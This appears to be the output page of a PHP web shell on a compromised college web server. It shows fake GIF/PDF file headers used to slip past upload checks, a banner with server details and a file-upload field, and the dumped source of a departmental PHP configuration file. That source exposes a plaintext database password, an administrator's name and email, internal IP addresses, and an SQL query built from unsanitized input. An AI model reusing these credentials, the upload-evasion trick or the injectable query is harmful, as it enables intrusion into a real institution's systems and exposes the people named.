GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/ |
Upload File : |
<? // application.phpinc // Setus up application variables and functions. // Set header abort variables. #$abortBeforeHeader = true; // Displays header() instead of executing it. #$abortBeforeLogoutHeader = true; // Displays header() for Logout instead of executing it. #error_reporting(E_ERROR); #echo "\$_SERVER['DOCUMENT_ROOT']=",$_SERVER['DOCUMENT_ROOT'],"<br>\n"; #echo "\$_SERVER['DOCUMENT_ROOT']=",$_SERVER['DOCUMENT_ROOT'],"<br>\n"; #echo "\$_SERVER['REMOTE_ADDR']=",$_SERVER['REMOTE_ADDR'],"<br>\n"; if ( false && $_SERVER['REMOTE_ADDR'] != '134.29.175.74' && $_SERVER['REMOTE_ADDR'] != '134.29.173.67' && $_SERVER['REMOTE_ADDR'] != '127.0.0.1' ) { require('index.html'); exit; } // Start page buffering. if ( isset($_timer) ) { $_timer['pre-ob'] = microtime(1); } ob_implicit_flush(true); ob_start(); // Begin session. if ( isset($_timer) ) { $_timer['pre-session'] = microtime(1); } session_cache_limiter("private, must-revalidate"); session_start(); set_time_limit(100); $_SESSION['DOCTYPE'] = ''; $_SESSION['OB_START'] = false; $css_StopCache = false; // Append datetime string to prevent caching of css files. $jsStopCache = false; $default_timezone = 'America/Chicago'; date_default_timezone_set($default_timezone); // Set the default timezone. This is usually set in application_site.phpinc. //echo $_SERVER['HTTP_USER_AGENT'] . "\n\n<br><br>"; if ( isset($_timer) ) { $_timer['pre-get_browser'] = microtime(1); } //$browser = get_browser(null, true); if ( isset($_timer) ) { $_timer['post-get_browser'] = microtime(1); } //d_Var('$browser',$browser,'d'); // Allow pageHeader.phpinc to load once. unset($_SESSION['PageHeaderLoaded']); // Set $debugOn to false if it is not set. if (!isset($debugOn)) $debugOn = false; // Setup TRACKing. #print_r($_SESSION['TRACK']); if ( !isset($TRACK) ) { $TRACK = ''; } if ( !isset($_SESSION['TRACK']) || is_array($_SESSION['TRACK']) ) { $_SESSION['TRACK'] = ''; } if ( !isset($_SESSION['FIRST_FILE'] ) || $_SESSION['FIRST_FILE'] == '') { $_SESSION['FIRST_FILE'] = $TRACK; } if ( $TRACK != '' ) { $TRACK .= "<li><b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.":".__LINE__.")</span>\n<ol>\n"; $_SESSION['TRACK'] .= $TRACK; } // Include common functions. if ( isset($_timer) ) { $_timer['functions'] = microtime(1); } require('common/functions.phpinc'); #$_SESSION['DEBUG']['codeSite'] = false; #d_Status(); // Set $debugBrowser for debugging. #$debugBrowser = 'Mozilla'; // Any browser. $debugBrowser = 'Firefox'; // Firefox browser only. #$debugBrowser = 'MSIE'; // MSIE browser only. #$debugBrowser = 'Safari'; // Safari browser only. // Set $debugIP for debugging. if (isset($_SERVER['HTTP_USER_AGENT']) && strstr($_SERVER['HTTP_USER_AGENT'],$debugBrowser)) { switch ($_SERVER['REMOTE_ADDR']) { case 'x10.14.16.208': // CST lab case 'x173.16.60.67': // Home case 'x10.4.16.100': // Willmar wireless case '127.0.0.1': // localhost $debugIP = $_SERVER['REMOTE_ADDR']; break; default: $debugIP = false; } } else { $debugIP = false; } // Set $debugIP for debugging. if (isset($_SERVER['HTTP_USER_AGENT']) && strstr($_SERVER['HTTP_USER_AGENT'],$debugBrowser)) { switch ($_SERVER['REMOTE_ADDR']) { case 'x10.14.16.208': // CST lab case '173.16.60.67': // Home case 'x10.4.16.100': // Willmar wireless case '127.0.0.1': // localhost $debugLine = $_SERVER['REMOTE_ADDR']; break; default: $debugLine = false; } } else { $debugLine = false; } // Set $DEBUG_AuthenticateUser. if (!isset($DEBUG_AuthenticateUser)) $DEBUG_AuthenticateUser = false; /* */ // Set $_SESSION variables. $forceSESSIONvariables = false; if ($forceSESSIONvariables || !isset($_SESSION['DATABASE']['database'])) { if ($TRACK != '') $_SESSION['TRACK'] .= "<li>".basename(__FILE__).":".__LINE__.": "."Setting session variables.\n"; // debug if (!isset($_SESSION['DEBUG'])) { $_SESSION['DEBUG'] = false; } if (!isset($_SESSION['DEBUG']['code'])) { $_SESSION['DEBUG']['code'] = false; } if (!isset($_SESSION['DEBUG_MYSQL'])) { $_SESSION['DEBUG_MYSQL'] = false; } if (!isset($_SESSION['DEBUG']['mysql'])) { $_SESSION['DEBUG']['mysql'] = false; } // Displays debug link in pageHeader. //echo "\$_SERVER['REMOTE_ADDR']=".$_SERVER['REMOTE_ADDR']."<br>\n"; if ( (isset($_SERVER['HTTP_HOST']) && $_SERVER['HTTP_HOST'] == 'cst.ridgewater.loc') || $debugIP ) { $_SESSION['DEBUG_LINK'] = true; } else { $_SESSION['DEBUG_LINK'] = false; } $_SESSION['DATABASE']['hostname'] = "localhost"; #$_SESSION['DATABASE']['hostname'] = "134.29.175.74"; $_SESSION['DATABASE']['database'] = "jimmarti_cst"; $_SESSION['DATABASE']['username'] = "jimmarti_cst"; $_SESSION['DATABASE']['password'] = "Password123$"; #$_SESSION['DIRECTORY_ROOT']=str_replace('.','\.',str_replace("\\","/",str_replace(basename(__FILE__),"",__FILE__))); $_SESSION['DIRECTORY_ROOT']=str_replace('.',DIRECTORY_SEPARATOR.'.',str_replace(basename(__FILE__),"",__FILE__)); #echo "\$_SESSION['DIRECTORY_ROOT']=",$_SESSION['DIRECTORY_ROOT'],"<br>\n"; $_SESSION['HTTP_ROOT'] = ""; if (!isset($_SESSION['MESSAGE_ERROR'])) { $_SESSION['MESSAGE_ERROR'] = ""; } if (!isset($_SESSION['MESSAGE_INFORMATION'])) { $_SESSION['MESSAGE_INFORMATION'] = ""; } if (!isset($_SESSION['MESSAGE_NOTICE'])) { $_SESSION['MESSAGE_NOTICE'] = ""; } if (!isset($_SESSION['MESSAGE_WARNING'])) { $_SESSION['MESSAGE_WARNING'] = ""; } $_SESSION['NAME_LONG'] = "Computer Systems Technology - Ridgewater College"; $_SESSION['NAME_SHORT'] = "Computer Systems Technology"; $_SESSION['UPLOAD_DIR'] ="uploads/"; if (!isset($_SESSION['uuid'])) { $_SESSION['uuid'] = ''; } $_SESSION['websiteAdministratorName'] = 'Jim Martinson'; $_SESSION['websiteAdministratorEmail'] = 'jim.martinson@ridgewater.edu'; } else { if ($TRACK != '') $_SESSION['TRACK'] .= "<li>".basename(__FILE__).":".__LINE__.": "."Session variables already set.\n"; } if ( stripos($_SERVER['SERVER_PROTOCOL'],'HTTPS') === false ) { $_SESSION['HTTP_PROTOCOL'] = 'http'; } else { $_SESSION['HTTP_PROTOCOL'] = 'https'; } $_SESSION['HTTP_SITE'] = $_SERVER['SERVER_NAME']; $_SESSION['HTTP_PREFIX'] = $_SESSION['HTTP_PROTOCOL'].'://'.$_SESSION['HTTP_SITE']; if (!isset($debugTrack)) $debugTrack = true; if ($debugTrack) { if (!isset($_SESSION['DEBUG'])) $_SESSION['DEBUG'] = array(); // Array to store DEBUG information. if (!isset($_SESSION['DEBUG']['track'])) $_SESSION['DEBUG']['track'] = array(); // Subarray to track DEBUG information. if (!isset($_SESSION['TRACK'])) $_SESSION['TRACK'] = ''; // The tracking lines are stored here. if (!isset($_SESSION['DEBUG']['track']['count'])) $_SESSION['DEBUG']['track']['count'] = 0; // The tracking count. When javascript ajax is used this count may go past 1. if (!isset($_SESSION['DEBUG']['track']['indent'])) $_SESSION['DEBUG']['track']['indent'] = 0; // How far to indent the line because of <ol>/<li> count. if (!isset($_SESSION['DEBUG']['track']['ol'])) $_SESSION['DEBUG']['track']['ol'] = 0; // The number of <ol> added minus the number of </ol>. /* * / // Clear DEBUG track data. $_SESSION['DEBUG']['track']['count'] = 0; $_SESSION['TRACK'] = ''; /* */ $_SESSION['DEBUG']['track']['count'] = $_SESSION['DEBUG']['track']['count']+1; // Increase the track count. if (!isset($thisFile)) { if (isset($_GET['f_thisFile'])) { $thisFile = $_GET['f_thisFile']; } else { if (isset($_POST['f_thisFile'])) { $thisFile = $_POST['f_thisFile']; } else { $thisFile = ''; } } } // Including filename. if (!isset($thisLine)) { if (isset($_GET['f_thisLine'])) { $thisLine = $_GET['f_thisLine']; } else { if (isset($_POST['f_thisLine'])) { $thisLine = $_POST['f_thisLine']; } else { $thisLine = ''; } } } // Including file line. /* * / // Display DEBUG track data. echo "\$_SESSION['DEBUG']['code']=<br>\n"; print_r($_SESSION['DEBUG']['code']); echo "<br>\n"; /* */ $_SESSION['DEBUG']['track']['indent']++; $_SESSION['DEBUG']['track']['ol']++; $_SESSION['TRACK'] .= "<b>".basename($thisFile)."</b> (".$thisFile.")\n".str_repeat(' ',$_SESSION['DEBUG']['track']['indent'])."<ol>\n"; if (!isset($_SESSION['DEBUG']['track']['firstFile']) || $_SESSION['DEBUG']['track']['firstFile'] == '') $_SESSION['DEBUG']['track']['firstFile'] = "<b>".basename($thisFile)."</b> (".$thisFile.")"; $file = basename(__FILE__); $filepath = __FILE__; $line = __LINE__; $_SESSION['DEBUG']['track']['indent']++; $_SESSION['TRACK'] .= str_repeat(' ',$_SESSION['DEBUG']['track']['indent'])."<li><b>$file</b>:$line. ($filepath) (called from $thisFile:$thisLine)\n"; $_SESSION['DEBUG']['track']['indent']++; $_SESSION['DEBUG']['track']['ol']++; $_SESSION['TRACK'] .= str_repeat(' ',$_SESSION['DEBUG']['track']['indent'])."<ol>\n"; $_SESSION['DEBUG']['track']['indent']++; } else { $_SESSION['TRACK'] = ''; } if (!isset($_SESSION['userPermissions'])) { $_SESSION['userPermissions'] = array(); } $f_task = formValue('task'); $f_subtask = formValue('subtask'); $f_form = formValue('form'); $f_uuid = formValue('uuid'); // Get emailGrade flag. $emailGradeCheck = formValue('emailGradeCheck',''); #printVar("\$emailGradeCheck",$emailGradeCheck); if ( $emailGradeCheck !== false ) { $emailGrade = formValue('emailGrade',''); #if ( isset($_SESSION['userId']) && $_SESSION['userId'] == 1 ) printVar("\$emailGrade",$emailGrade); if ( $emailGrade ) { $_SESSION['emailGrade'] = ' checked'; } else { $_SESSION['emailGrade'] = ''; } } else { if ( !isset($_SESSION['emailGrade']) ) $_SESSION['emailGrade'] = ' checked'; } $emailGrade = $_SESSION['emailGrade']; #if ( isset($_SESSION['userId']) && $_SESSION['userId'] == 1 ) printVar("\$_SESSION['emailGrade']",$_SESSION['emailGrade']); if ( isset($_SESSION['userId']) && $_SESSION['userId'] == -1 ) { printVar('$f_task',$f_task); printVar('$f_subtask',$f_subtask); printVar('$f_form',$f_form); printVar('$f_uuid',$f_uuid); } // Check for logout. if (isset($_GET['Logout'])) { require('common/Login/logout.phpinc'); } if (file_exists($_SESSION['DIRECTORY_ROOT'].'WebsiteStatus/WebsiteDown')) { include ('WebsiteStatus/WebsiteDown.phpinc'); } // Calculate $_SESSION['YRTR'] values. #unset($_SESSION['YRTR']); if ( !isset($_SESSION['YRTR']) ) { if ( isset($_timer) ) { $_timer['GetSessions'] = microtime(1); } require('common/GetSessions.phpinc'); } else { $YRTR = formValue('YRTR',''); #printVar('$YRTR',$YRTR); if ( $YRTR ) { $query = " SELECT * FROM `session` WHERE YRTR = ".$YRTR." "; $sessionResult = query_do($query); $sessionResultCount = $_SESSION['qry']['count']; if ( $sessionResultCount ) { $sessionYRTR = mysqli_fetch_assoc($sessionResult); $_SESSION['YRTR']['User'] = $sessionYRTR['YRTR']; $_SESSION['YRTR']['User_NAME'] = $sessionYRTR['sessionName']; $_SESSION['YRTR']['User_Start'] = $sessionYRTR['sessionStart']; $_SESSION['YRTR']['User_End'] = $sessionYRTR['sessionEnd']; } else { $_SESSION['YRTR']['User'] = NULL; $_SESSION['YRTR']['User_NAME'] = NULL; $_SESSION['YRTR']['User_Start'] = NULL; $_SESSION['YRTR']['User_End'] = NULL; } #printVar("\$_SESSION['YRTR']['User']",$_SESSION['YRTR']['User']); #printVar("\$_SESSION['YRTR']['User_NAME']",$_SESSION['YRTR']['User_NAME']); } } // Set $css and $js variables. $css = 'CST,debug,tooltip'; // List of css files to link for the site. $js = 'CST.js,debug.js,div.js,tooltip.js'; // List of js files to load for the site. $onload = '_Initialize'; // List of body onLoad functions to call for the site. // Authenticate the user to the page. if ( !isset($skipAuthentication) ) $skipAuthentication = false; #$skipAuthenticationIP = '173.29.45.189'; #d_Var('$skipAuthentication',$skipAuthentication,'d'); if ( isset($skipAuthenticationIP) && $skipAuthenticationIP == $_SERVER['REMOTE_ADDR'] ) $skipAuthentication = true; #d_Var('$skipAuthentication',$skipAuthentication,'d'); #printVar('$skipAuthentication',$skipAuthentication); if ( $skipAuthentication != true) { if ( isset($_timer) ) { $_timer['authenticate'] = microtime(1); } require('Login/authenticate.phpinc'); } else { if ($TRACK != '') $_SESSION['TRACK'] .= "<li>".basename(__FILE__).":".__LINE__.": ".'<span class="pv_ua">User authenticated. The page has $skipAuthentication true.</span>'."\n"; } debugTrackEnd(); ?>